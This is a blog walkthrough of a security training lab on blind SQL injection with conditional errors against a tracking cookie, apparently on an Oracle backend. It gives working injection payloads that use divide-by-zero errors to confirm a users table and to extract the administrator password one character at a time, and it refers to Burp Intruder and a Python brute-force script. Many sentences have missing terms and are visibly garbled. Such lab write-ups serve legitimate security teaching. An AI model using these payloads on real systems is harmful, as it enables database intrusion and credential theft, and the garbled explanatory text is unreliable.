Blind SQL injection with conditional errors

As we discussed in preceding Lab exercise, Blind SQL injection is a type of SQL injection attack that asks the database true or false questions and determines the answer based on the application’s behavior.In some cases, you may be injecting a subquery or a batched query whose results are not processed by the application in any way. In this situation, you may struggle to find a way to cause a detectable difference in behavior that is contingent on a specific condition.

Since a database error can often externally detectable either through an HTTP 500 response code or through an anomalous behavior of the web application, You can inject a query that generated a database error contingent on some specified condition to trigger a detectable difference in the behavior in most circumstances.

Consider the following example.

SELECT X FROM Y WHERE Z

This causes the database to work through each row of , evaluating

, and returning if the is true. If is never true, the is never evaluated.

This behavior can be exploited by finding an that is syntactically valid but generates an error if it is ever evaluated. An example of such an expression in Oracle and MS-SQL is a divide-by-zero computation(1/0). If is ever true, is evaluated, causing a database error. If condition Z is always false, no error is generated. You can, therefore use the presence or absence of an error to test an arbitrary .

Let’s look at the following query, which tests whether the user Weiner exists in the database.

SELECT 1/0 FROM dual WHERE (SELECT username FROM users WHERE username = 'Weiner') = 'Weiner'

According to the SQL query order of execution, clause is evaluated first to determine the total working set of data that is being queried. Once we have the total working set of data, the first-pass constraints are applied to the individual rows, and rows that do not satisfy the constraint are discarded.

  1. Determine the data dual table
  2. Apply the constraint [ ]
  3. Determine the data FROM users table
  4. Apply the constraint []. If this user exists,
  5. Any expressions in the part of the query are finally computed.

As a result, is evaluated,causing an error:

Consider the following use case where We query the database to check whether an invented user exist in the database:

SELECT 1/0 FROM dual WHERE (SELECT username FROM users WHERE username = 'Smith') = 'Smith'
  1. Determine the data
  2. Apply the WHERE constraint [ ]
  3. Determine the data
  4. Apply the constraint []

Since the user doesn’t exist in the database, part of the query is never evaluated so no error occurs.

Therefore you can use this technique to induce a conditional response within the application.

Let’s solve the Lab Exercise Blind SQL injection with conditional errors

Lab Exercise Analysis

Vulnerability : Blind SQL injection

Vulnerable Parameter : Tracking Cookie

Tracking Cookie ID : IKd5TzaKWk78qU95

The results of the SQL query are not returned, and the application does not respond differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.

STEP #1

Confirm that the tracking cookie parameter is vulnerable to SQL injection.

Modify the Tracking Cookie by appending a single quotation mark to it.

Single quotation mark → ERROR

Now append two quotation marks to it.

Double quotation mark → NO ERROR

By looking at the above observations, we can say that the syntax error causes a difference in behavior of the application.

STEP #2

Confirm that the server is interpreting the injections as a SQL query.

Modify the Tracking cookie by adding the following SQL subquery.

' || (SELECT '') || '

Even Though the above subquery is syntactically correct, it generates an error. This may be due to the database type. So let’s try adding the to the query.

' || (SELECT '' FROM dual) || '

As you no longer get an error, this indicates that the target application is probably using .

Let’s try to inject an invalid query while still preserving the valid SQL syntax.

' || (SELECT '' FROM test_table) || '

If you are able to inject a SQL query which is always syntactically valid, you can use the error responses to infer useful information from the database.

STEP #3

Confirm that the users table exists in the database.

' || (SELECT '' FROM users) || '

Above query will return an empty entry for each row of the . Which means if the contains 5 records, the above query will return 5 empty entries which might break the concatenation. In order to prevent the query from returning more than one row, you can use the following SQL query.

' || (SELECT '' FROM users WHERE rownum=1) || '

will ensure that the query returns only one entry.

STEP #4

Confirm that the administrator user exists in the database.

True case

' || (SELECT '' FROM users WHERE username='administrator') || '

Query the database to check whether an invented user exists in the database.

False case

' || (SELECT '' FROM users WHERE username='randomuser') || '

As you get code in both and , we have to find another way of injecting a SQL query which causes a different behavior in the false case.

True case

'|| (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '

According to the SQL query order of execution, above query will execute as follows:

  1. Determine the data
  2. Validate the condition . Since is always true,
  3. evaluated causing an error

False case

' || (SELECT CASE WHEN(1=0) THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '

According to the SQL query order of execution, above query will execute as follows:

  1. Determine the data
  2. Validate the condition . Since is always false,
  3. never evaluated therefore no error

We can use this behavior to check whether the exists in the database.

' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='randomuser') || '

STEP #5

Determine the length of the password

' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and LENGTH(password)>1) || '
' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and LENGTH(password)>30) || '

According to the above test cases, we need to check the application for, and separately.

If we can send a series of requests changing the until we get a response code, we could get the length of the password.

LENGTH(password)>1→ ERROR (HTTP 500)

LENGTH(password)>2 → ERROR (HTTP 500)

LENGTH(password)>3 → ERROR (HTTP 500)

LENGTH(password)>m → NO ERROR (HTTP 200) → number of characters in the password = m

You can find using Burp suite Intruder as follows:

STEP #6

Determine the password of the administrator user.

To determine the password of the user, we have to send a series of requests to test the password one character at a time.

' || (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' and substr(password, 1, 1) = 'a') || '

SUBSTRING(password, 1 ,1) = ‘a’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 2 ,1) = ‘a’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 3 ,1) = ‘a’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 4 ,1) = ‘a’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 5 ,1) = ‘a’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 20 ,1) = ‘a’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 1 ,1) = ‘b’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 2 ,1) = ‘b’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 3 ,1) = ‘b’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 4 ,1) = ‘b’ — — — — — > 200 (NO ERROR)

SUBSTRING(password, 5 ,1) = ‘b’ — — — — — > 500 (Internal Server Error)

SUBSTRING(password, 20 ,1) = ‘b’ — — — — — > 200 (NO ERROR)

Since the password can be a

  • Lowercase letter
  • Uppercase letter
  • Digit
  • Special character

We need to check for all the possibilities.

Let’s get the first character of the password.

First character of the password is ‘3’.

Let’s get the password.

If you are a Burp Suite community edition user, This whole process will take hours to run. Instead of doing the bruteforce in Burp Suite community edition, you can do this using a python script.

You can get the python script from here.

--

--

Security Researcher

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store